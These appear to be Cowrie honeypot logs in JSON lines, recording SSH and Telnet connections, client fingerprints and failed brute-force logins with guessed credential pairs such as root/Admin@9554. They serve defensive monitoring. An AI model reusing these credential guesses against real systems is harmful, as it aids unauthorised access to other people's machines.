{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":59136,"dst_ip":"10.17.0.5","dst_port":22,"session":"caed9ea03e5f","protocol":"ssh","message":"New connection: 14.63.196.175:59136 (10.17.0.5:22) [session: caed9ea03e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:53.364334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:53.368973Z","src_ip":"14.63.196.175","session":"caed9ea03e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:53.569335Z","src_ip":"14.63.196.175","session":"caed9ea03e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"laci","password":"laci","message":"login attempt [laci/laci] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:54.407402Z","src_ip":"14.63.196.175","session":"caed9ea03e5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:55.612300Z","src_ip":"14.63.196.175","session":"caed9ea03e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":42112,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a64802b3bf","protocol":"ssh","message":"New connection: 160.251.185.39:42112 (10.17.0.5:22) [session: d1a64802b3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:30.088065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:30.092502Z","src_ip":"160.251.185.39","session":"d1a64802b3bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:30.263861Z","src_ip":"160.251.185.39","session":"d1a64802b3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37206,"dst_ip":"159.203.135.109","dst_port":22,"session":"23173fbb725a","protocol":"ssh","message":"New connection: 27.71.230.31:37206 (159.203.135.109:22) [session: 23173fbb725a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:30.331888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:30.363380Z","src_ip":"27.71.230.31","session":"23173fbb725a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"12345678","message":"login attempt [a/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:30.990167Z","src_ip":"160.251.185.39","session":"d1a64802b3bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:31.652367Z","src_ip":"27.71.230.31","session":"23173fbb725a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:32.163790Z","src_ip":"160.251.185.39","session":"d1a64802b3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@9554","message":"login attempt [root/Admin@9554] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:35.523909Z","src_ip":"27.71.230.31","session":"23173fbb725a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:36.845287Z","src_ip":"27.71.230.31","session":"23173fbb725a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":37776,"dst_ip":"10.17.0.5","dst_port":22,"session":"5951e5e90ba6","protocol":"ssh","message":"New connection: 76.79.213.69:37776 (10.17.0.5:22) [session: 5951e5e90ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:37.700552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:37.708379Z","src_ip":"76.79.213.69","session":"5951e5e90ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:37.836626Z","src_ip":"76.79.213.69","session":"5951e5e90ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alessio","password":"alessio","message":"login attempt [alessio/alessio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:38.366434Z","src_ip":"76.79.213.69","session":"5951e5e90ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:39.500696Z","src_ip":"76.79.213.69","session":"5951e5e90ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33428,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f406c3ddbbe","protocol":"ssh","message":"New connection: 51.250.105.222:33428 (10.17.0.5:22) [session: 7f406c3ddbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:44.982965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:44.987467Z","src_ip":"51.250.105.222","session":"7f406c3ddbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:45.117668Z","src_ip":"51.250.105.222","session":"7f406c3ddbbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:45.510239Z","src_ip":"51.250.105.222","session":"7f406c3ddbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:46.642833Z","src_ip":"51.250.105.222","session":"7f406c3ddbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":42180,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c0b1a1965bc","protocol":"ssh","message":"New connection: 38.93.206.2:42180 (10.17.0.5:22) [session: 1c0b1a1965bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:51.541679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:51.545680Z","src_ip":"38.93.206.2","session":"1c0b1a1965bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:51.595913Z","src_ip":"38.93.206.2","session":"1c0b1a1965bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290684","message":"login attempt [root/290684] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:51.746396Z","src_ip":"38.93.206.2","session":"1c0b1a1965bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:00:52.798927Z","src_ip":"38.93.206.2","session":"1c0b1a1965bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":53042,"dst_ip":"10.17.0.5","dst_port":22,"session":"50b5796aec8b","protocol":"ssh","message":"New connection: 5.89.75.194:53042 (10.17.0.5:22) [session: 50b5796aec8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:01:22.180512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:01:22.185581Z","src_ip":"5.89.75.194","session":"50b5796aec8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:01:22.290051Z","src_ip":"5.89.75.194","session":"50b5796aec8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123321","message":"login attempt [root/aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:01:22.731644Z","src_ip":"5.89.75.194","session":"50b5796aec8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:01:23.836314Z","src_ip":"5.89.75.194","session":"50b5796aec8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55302,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7bfa9323fbb","protocol":"telnet","message":"New connection: 172.81.62.90:55302 (159.203.135.109:23) [session: e7bfa9323fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:01:38.368275Z"}
{"eventid":"cowrie.session.closed","duration":35.523807764053345,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:13.891852Z","src_ip":"172.81.62.90","session":"e7bfa9323fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":55624,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0aed4b459e4","protocol":"ssh","message":"New connection: 45.227.254.170:55624 (10.17.0.5:22) [session: d0aed4b459e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:15.420724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:15.425091Z","src_ip":"45.227.254.170","session":"d0aed4b459e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:15.535608Z","src_ip":"45.227.254.170","session":"d0aed4b459e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:16.027166Z","src_ip":"45.227.254.170","session":"d0aed4b459e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":49622,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8780d9c0ede","protocol":"ssh","message":"New connection: 176.32.39.21:49622 (159.203.135.109:22) [session: d8780d9c0ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:16.116035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:02:16.120772Z","src_ip":"176.32.39.21","session":"d8780d9c0ede","protocol":"ssh"}
